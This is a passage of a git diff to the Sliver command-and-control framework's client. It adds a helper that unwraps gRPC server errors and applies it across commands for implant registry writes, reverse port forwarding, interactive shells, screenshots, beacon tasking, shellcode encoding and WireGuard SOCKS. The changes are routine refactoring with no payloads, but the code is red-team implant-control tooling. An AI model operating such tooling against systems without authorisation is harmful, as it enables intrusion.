[]string) { } } -// PrintRegRead - Print the results of the registry read command +// PrintRegRead - Print the results of the registry read command. func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverClient) { if regRead.Response != nil && regRead.Response.Err != "" { con.PrintErrorf("%s\n", regRead.Response.Err) diff --git a/client/command/registry/reg-write.go b/client/command/registry/reg-write.go index 542f258544..181c0d0a57 100644 --- a/client/command/registry/reg-write.go +++ b/client/command/registry/reg-write.go @@ -25,16 +25,14 @@ import ( "strconv" "strings" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32 +// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32. func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -140,7 +138,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ByteValue: binaryValue, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -159,7 +157,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintRegWrite - Print the registry write operation +// PrintRegWrite - Print the registry write operation. func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverClient) { if regWrite.Response != nil && regWrite.Response.Err != "" { con.PrintErrorf("%s", regWrite.Response.Err) diff --git a/client/command/rportfwd/portfwd-add.go b/client/command/rportfwd/portfwd-add.go index 8dc20f2be9..84c168e4e5 100644 --- a/client/command/rportfwd/portfwd-add.go +++ b/client/command/rportfwd/portfwd-add.go @@ -59,7 +59,7 @@ func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, arg ForwardAddress: forwardAddress, }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } printStartedRportFwdListener(rportfwdListener, con) diff --git a/client/command/rportfwd/portfwd-rm.go b/client/command/rportfwd/portfwd-rm.go index a801c1a5ff..db69d3d59b 100644 --- a/client/command/rportfwd/portfwd-rm.go +++ b/client/command/rportfwd/portfwd-rm.go @@ -50,7 +50,7 @@ func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args ID: uint32(listenerID), }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 0f4d9b4d62..1daa35d673 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -43,7 +43,7 @@ func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverClient, args [] Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } PrintRportFwdListeners(rportfwdListeners, cmd.Flags(), con) diff --git a/client/command/screenshot/screenshot.go b/client/command/screenshot/screenshot.go index 0741237c8c..f958474d4b 100644 --- a/client/command/screenshot/screenshot.go +++ b/client/command/screenshot/screenshot.go @@ -52,7 +52,7 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/sessions/close.go b/client/command/sessions/close.go index 3968a1c11f..28e666a9c5 100644 --- a/client/command/sessions/close.go +++ b/client/command/sessions/close.go @@ -40,7 +40,7 @@ func CloseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err.Error()) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/sessions/helpers.go b/client/command/sessions/helpers.go index 399fb19822..18c90026d1 100644 --- a/client/command/sessions/helpers.go +++ b/client/command/sessions/helpers.go @@ -44,7 +44,7 @@ var ( func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(sessions.Sessions) == 0 { return nil, ErrNoSessions diff --git a/client/command/sessions/interactive.go b/client/command/sessions/interactive.go index 8b44007757..b84f941c0a 100644 --- a/client/command/sessions/interactive.go +++ b/client/command/sessions/interactive.go @@ -165,7 +165,7 @@ func InteractiveCmd(cmd *cobra.Command, con *console.SliverClient, _ []string) { openSession, err = con.Rpc.OpenSession(context.Background(), openSession) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } if openSession.Response != nil && openSession.Response.Async { con.PrintAsyncResponse(openSession.Response) diff --git a/client/command/sessions/prune.go b/client/command/sessions/prune.go index 31d673464a..48704761cc 100644 --- a/client/command/sessions/prune.go +++ b/client/command/sessions/prune.go @@ -31,7 +31,7 @@ import ( func SessionsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(sessions.GetSessions()) == 0 { diff --git a/client/command/sessions/sessions.go b/client/command/sessions/sessions.go index 6f056319f8..108f87bde8 100644 --- a/client/command/sessions/sessions.go +++ b/client/command/sessions/sessions.go @@ -44,7 +44,7 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/shell/shell.go b/client/command/shell/shell.go index 6dcebbbbe3..95c3b7786b 100644 --- a/client/command/shell/shell.go +++ b/client/command/shell/shell.go @@ -76,7 +76,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso }) defer cancelTunnel() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID) @@ -91,7 +91,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso TunnelID: tunnel.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // @@ -102,7 +102,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso SessionID: session.ID, }) if err != nil { - con.PrintErrorf("RPC Error: %s\n", err) + con.PrintErrorf("RPC Error: %s\n", con.UnwrapServerErr(err)) } return } diff --git a/client/command/shikata-ga-nai/commands.go b/client/command/shikata-ga-nai/commands.go index 92a1e93ff4..b73a4d25ce 100644 --- a/client/command/shikata-ga-nai/commands.go +++ b/client/command/shikata-ga-nai/commands.go @@ -1,14 +1,13 @@ package sgn import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/shikata-ga-nai/sgn.go b/client/command/shikata-ga-nai/sgn.go index e05af7015c..298d269d25 100644 --- a/client/command/shikata-ga-nai/sgn.go +++ b/client/command/shikata-ga-nai/sgn.go @@ -24,13 +24,12 @@ import ( "io/ioutil" "path/filepath" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder +// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder. func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { shellcodeFile := args[0] rawShellcode, err := ioutil.ReadFile(shellcodeFile) @@ -59,7 +58,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverClient, args []strin Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" { diff --git a/client/command/taskmany/taskmany.go b/client/command/taskmany/taskmany.go index 4e01aacc01..4fff9c95c9 100644 --- a/client/command/taskmany/taskmany.go +++ b/client/command/taskmany/taskmany.go @@ -27,14 +27,13 @@ import ( "strings" "text/tabwriter" - "github.com/spf13/cobra" - "github.com/AlecAivazis/survey/v2" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) func Command(con *console.SliverClient) []*cobra.Command { @@ -80,12 +79,12 @@ func Command(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{taskmanyCmd} } -// TaskmanyCmd - Task many beacons / sessions +// TaskmanyCmd - Task many beacons / sessions. func TaskmanyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintErrorf("Must specify subcommand. See taskmany --help for supported subcommands.\n") } -// Helper function to wrap grumble commands with taskmany logic +// Helper function to wrap grumble commands with taskmany logic. func WrapCommand(c *cobra.Command, con *console.SliverClient) *cobra.Command { wc := &cobra.Command{ Use: c.Use, @@ -99,7 +98,7 @@ func WrapCommand(c *cobra.Command, con *console.SliverClient) *cobra.Command { return wc } -// Wrap a function to run it for each beacon / session +// Wrap a function to run it for each beacon / session. func wrapFunctionWithTaskmany(con *console.SliverClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) { return func(cmd *cobra.Command, args []string) { defer con.Println() @@ -154,7 +153,7 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Se // Get and sort sessions sessionsObj, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } sessions := sessionsObj.Sessions sort.Slice(sessions, func(i, j int) bool { @@ -164,7 +163,7 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Se // Get and sort beacons beaconsObj, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } beacons := beaconsObj.Beacons sort.Slice(beacons, func(i, j int) bool { diff --git a/client/command/tasks/fetch.go b/client/command/tasks/fetch.go index 1c2ba517ad..40be58c2a8 100644 --- a/client/command/tasks/fetch.go +++ b/client/command/tasks/fetch.go @@ -54,7 +54,7 @@ func TasksFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } tasks := beaconTasks.Tasks @@ -97,7 +97,7 @@ func TasksFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: task.ID}) if err != nil { - con.PrintErrorf("Failed to fetch task content: %s\n", err) + con.PrintErrorf("Failed to fetch task content: %s\n", con.UnwrapServerErr(err)) return } PrintTask(task, con) @@ -507,7 +507,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) { } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con) @@ -524,7 +524,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) { } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } privilege.PrintGetPrivs(privs, beacon.PID, con) @@ -591,7 +591,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) { } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } privilege.PrintRunAs(runAs, runAsReq.ProcessName, runAsReq.Args, beacon.Name, con) @@ -617,7 +617,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) { } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to get beacon: %s\n", err) + con.PrintErrorf("Failed to get beacon: %s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index 33ce9f3f76..41fd042cdc 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -62,7 +62,7 @@ func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - return carapace.ActionMessage("Failed to fetch tasks: %s", err.Error()) + return carapace.ActionMessage("Failed to fetch tasks: %s", con.UnwrapServerErr(err)) } completed := make([]string, 0) @@ -131,7 +131,7 @@ func BeaconPendingTasksCompleter(con *console.SliverClient) carapace.Action { beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - return carapace.ActionMessage("Failed to fetch tasks: %s", err.Error()) + return carapace.ActionMessage("Failed to fetch tasks: %s", con.UnwrapServerErr(err)) } pending := make([]string, 0) diff --git a/client/command/tasks/tasks-cancel.go b/client/command/tasks/tasks-cancel.go index c184c33b39..c95fee327e 100644 --- a/client/command/tasks/tasks-cancel.go +++ b/client/command/tasks/tasks-cancel.go @@ -24,7 +24,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string if idArg == "" { beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } tasks := []*clientpb.BeaconTask{} @@ -47,7 +47,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string } else { task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } } @@ -55,7 +55,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string if task != nil { task, err := con.Rpc.CancelBeaconTask(context.Background(), task) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Task %s canceled\n", task.ID) diff --git a/client/command/tasks/tasks.go b/client/command/tasks/tasks.go index bd025867e6..91d9e1973f 100644 --- a/client/command/tasks/tasks.go +++ b/client/command/tasks/tasks.go @@ -39,7 +39,7 @@ func TasksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintBeaconTasks(beaconTasks.Tasks, cmd, con) diff --git a/client/command/update/update.go b/client/command/update/update.go index d9d9d36d5a..933d925414 100644 --- a/client/command/update/update.go +++ b/client/command/update/update.go @@ -130,7 +130,7 @@ func VerboseVersionsCmd(cmd *cobra.Command, con *console.SliverClient, args []st clientVer := version.FullVersion() serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to check server version %s\n", err) + con.PrintErrorf("Failed to check server version %s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/use/use.go b/client/command/use/use.go index 90cf0c36f9..e6b8616d73 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -72,7 +72,7 @@ func UseCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } if err == nil { for _, session := range sessions.Sessions { @@ -83,7 +83,7 @@ func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Sessio } beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } for _, beacon := range beacons.Beacons { if strings.HasPrefix(beacon.ID, id) { @@ -98,7 +98,7 @@ func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clien // Get and sort sessions sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } sessionsMap := map[string]*clientpb.Session{} for _, session := range sessions.GetSessions() { @@ -113,7 +113,7 @@ func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clien // Get and sort beacons beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } beaconsMap := map[string]*clientpb.Beacon{} for _, beacon := range beacons.Beacons { diff --git a/client/command/wasm/wasm.go b/client/command/wasm/wasm.go index a6b6c8c9aa..25b6a0a042 100644 --- a/client/command/wasm/wasm.go +++ b/client/command/wasm/wasm.go @@ -138,7 +138,7 @@ func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console. defer cancel() execWasmResp, err := con.Rpc.ExecWasmExtension(grpcCtx, execWasmReq) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if execWasmResp.Response != nil && execWasmResp.Response.Async { @@ -176,7 +176,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR }) defer cancelTunnel() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Wait approximately 10 seconds after exit, and press to continue\n") @@ -190,7 +190,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR // Send the exec request wasmExt, err := con.Rpc.ExecWasmExtension(context.Background(), execWasmReq) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if wasmExt.Response != nil && wasmExt.Response.Err != "" { @@ -200,7 +200,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR SessionID: session.ID, }) if err != nil { - con.PrintErrorf("RPC Error: %s\n", err) + con.PrintErrorf("RPC Error: %s\n", con.UnwrapServerErr(err)) } return } @@ -247,7 +247,7 @@ func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console WasmGz: data, }) if err != nil { - return err + return con.UnwrapServerErr(err) } wasmRegistrationCache[idOf(con)] = append(wasmRegistrationCache[idOf(con)], filepath.Base(wasmFilePath)) return nil @@ -266,7 +266,7 @@ func WasmLsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if len(loaded.Names) < 1 { diff --git a/client/command/websites/websites-add-content.go b/client/command/websites/websites-add-content.go index dc3e8386d4..9de9620269 100644 --- a/client/command/websites/websites-add-content.go +++ b/client/command/websites/websites-add-content.go @@ -76,7 +76,7 @@ func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverClient, args [ web, err := con.Rpc.WebsiteAddContent(context.Background(), addWeb) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites-rm-content.go b/client/command/websites/websites-rm-content.go index 95b7d1f621..d36c8638de 100644 --- a/client/command/websites/websites-rm-content.go +++ b/client/command/websites/websites-rm-content.go @@ -46,7 +46,7 @@ func WebsitesRmContent(cmd *cobra.Command, con *console.SliverClient, args []str Name: name, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } @@ -65,7 +65,7 @@ func WebsitesRmContent(cmd *cobra.Command, con *console.SliverClient, args []str } web, err := con.Rpc.WebsiteRemoveContent(context.Background(), rmWebContent) if err != nil { - con.PrintErrorf("Failed to remove content %s", err) + con.PrintErrorf("Failed to remove content %s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites-rm.go b/client/command/websites/websites-rm.go index e81873cc17..d1340b49a9 100644 --- a/client/command/websites/websites-rm.go +++ b/client/command/websites/websites-rm.go @@ -37,7 +37,7 @@ func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Name: name, }) if err != nil { - con.PrintErrorf("Failed to remove website %s", err) + con.PrintErrorf("Failed to remove website %s", con.UnwrapServerErr(err)) return } } diff --git a/client/command/websites/websites-update-content.go b/client/command/websites/websites-update-content.go index d6d1b51919..7cf52d89c7 100644 --- a/client/command/websites/websites-update-content.go +++ b/client/command/websites/websites-update-content.go @@ -54,7 +54,7 @@ func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverClient, arg web, err := con.Rpc.WebsiteUpdateContent(context.Background(), updateWeb) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index 012625007f..a8a9335d81 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -51,7 +51,7 @@ func WebsitesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ListWebsites(cmd *cobra.Command, con *console.SliverClient, args []string) { websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to list websites %s", err) + con.PrintErrorf("Failed to list websites %s", con.UnwrapServerErr(err)) return } if len(websites.Websites) < 1 { @@ -71,7 +71,7 @@ func ListWebsiteContent(websiteName string, con *console.SliverClient) { Name: websiteName, }) if err != nil { - con.PrintErrorf("Failed to list website content %s", err) + con.PrintErrorf("Failed to list website content %s", con.UnwrapServerErr(err)) return } if 0 < len(website.Contents) { @@ -120,7 +120,7 @@ func WebsiteNameCompleter(con *console.SliverClient) carapace.Action { websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("Failed to list websites %s", err) + return carapace.ActionMessage("Failed to list websites %s", con.UnwrapServerErr(err)) } for _, ws := range websites.Websites { diff --git a/client/command/wireguard/wg-config.go b/client/command/wireguard/wg-config.go index 760306fd73..a7fcd9e172 100644 --- a/client/command/wireguard/wg-config.go +++ b/client/command/wireguard/wg-config.go @@ -55,7 +55,7 @@ type wgQuickConfig struct { func WGConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wgConfig, err := con.Rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } clientPrivKeyBytes, err := hex.DecodeString(wgConfig.ClientPrivateKey) diff --git a/client/command/wireguard/wg-portfwd-add.go b/client/command/wireguard/wg-portfwd-add.go index 4ca36a7771..97acc62950 100644 --- a/client/command/wireguard/wg-portfwd-add.go +++ b/client/command/wireguard/wg-portfwd-add.go @@ -56,7 +56,7 @@ func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []strin Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index f5837a1dcc..98922eea7d 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -51,7 +51,7 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } @@ -78,7 +78,7 @@ func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get Wireguard port forwarders: %s", err.Error()) + return carapace.ActionMessage("failed to get Wireguard port forwarders: %s", con.UnwrapServerErr(err)) } for _, fwd := range fwdList.Forwarders { diff --git a/client/command/wireguard/wg-portfwd.go b/client/command/wireguard/wg-portfwd.go index 38882eeb7d..d6d8d78a1f 100644 --- a/client/command/wireguard/wg-portfwd.go +++ b/client/command/wireguard/wg-portfwd.go @@ -43,7 +43,7 @@ func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if fwdList.Response != nil && fwdList.Response.Err != "" { diff --git a/client/command/wireguard/wg-socks-start.go b/client/command/wireguard/wg-socks-start.go index 156aad40a3..bc1a34e1dd 100644 --- a/client/command/wireguard/wg-socks-start.go +++ b/client/command/wireguard/wg-socks-start.go @@ -44,7 +44,7 @@ func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []strin Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-socks-stop.go b/client/command/wireguard/wg-socks-stop.go index c0239bfe74..cd11c31194 100644 --- a/client/command/wireguard/wg-socks-stop.go +++ b/client/command/wireguard/wg-socks-stop.go @@ -49,7 +49,7 @@ func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index 8a061962bd..eb4aa2e4dc 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -45,7 +45,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if socksList.Response != nil && socksList.Response.Err != "" { @@ -85,7 +85,7 @@ func SocksIDCompleter(con *console.SliverClient) carapace.Action { Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get Wireguard Socks servers: %s", err.Error()) + return carapace.ActionMessage("failed to get Wireguard Socks servers: %s", con.UnwrapServerErr(err)) } for _, serv := range socksList.Servers { diff --git a/client/console/console.go b/client/console/console.go index 04938679aa..96a527a523 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -20,6 +20,7 @@ package console import ( "context" + "errors" "fmt" "io" "log" @@ -46,6 +47,7 @@ import ( "github.com/spf13/cobra" "golang.org/x/exp/slog" "google.golang.org/grpc" + "google.golang.org/grpc/status" ) const ( @@ -249,6 +251,12 @@ func (con *SliverClient) ConnectCompletion() (carapace.Action, error) { return carapace.ActionValues(), nil } +// UnwrapServerErr unwraps errors returned by gRPC method calls. +// Should be used to return every non-nil resp, err := con.Rpc.Function(). +func (con *SliverClient) UnwrapServerErr(err error) error { + return errors.New(status.Convert(err).Message()) +} + // Disconnect disconnectss the client from its Sliver server, // closing all its event/log streams and files, then closing // the core Sliver RPC client connection. From 8dd319627408966fd0d641236bca7a1fb452f4e4 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 27 Jul 2023 22:15:22 +0200 Subject: [PATCH 046/124] Refactor C2 job control command tree & dispatch - tcp and named-pipe are now "roots" in the sliver context. - Removed --id flags for pivots and use args. --- client/command/info/commands.go | 4 +- client/command/jobs/commands.go | 33 +++++++++++ client/command/jobs/named-pipe.go | 55 +++++++++++++++++++ .../command/{pivots/start.go => jobs/tcp.go} | 30 +--------- client/command/pivots/commands.go | 50 +++-------------- client/command/pivots/details.go | 14 +++-- client/command/pivots/stop.go | 16 ++++-- client/command/sliver.go | 4 +- 8 files changed, 124 insertions(+), 82 deletions(-) create mode 100644 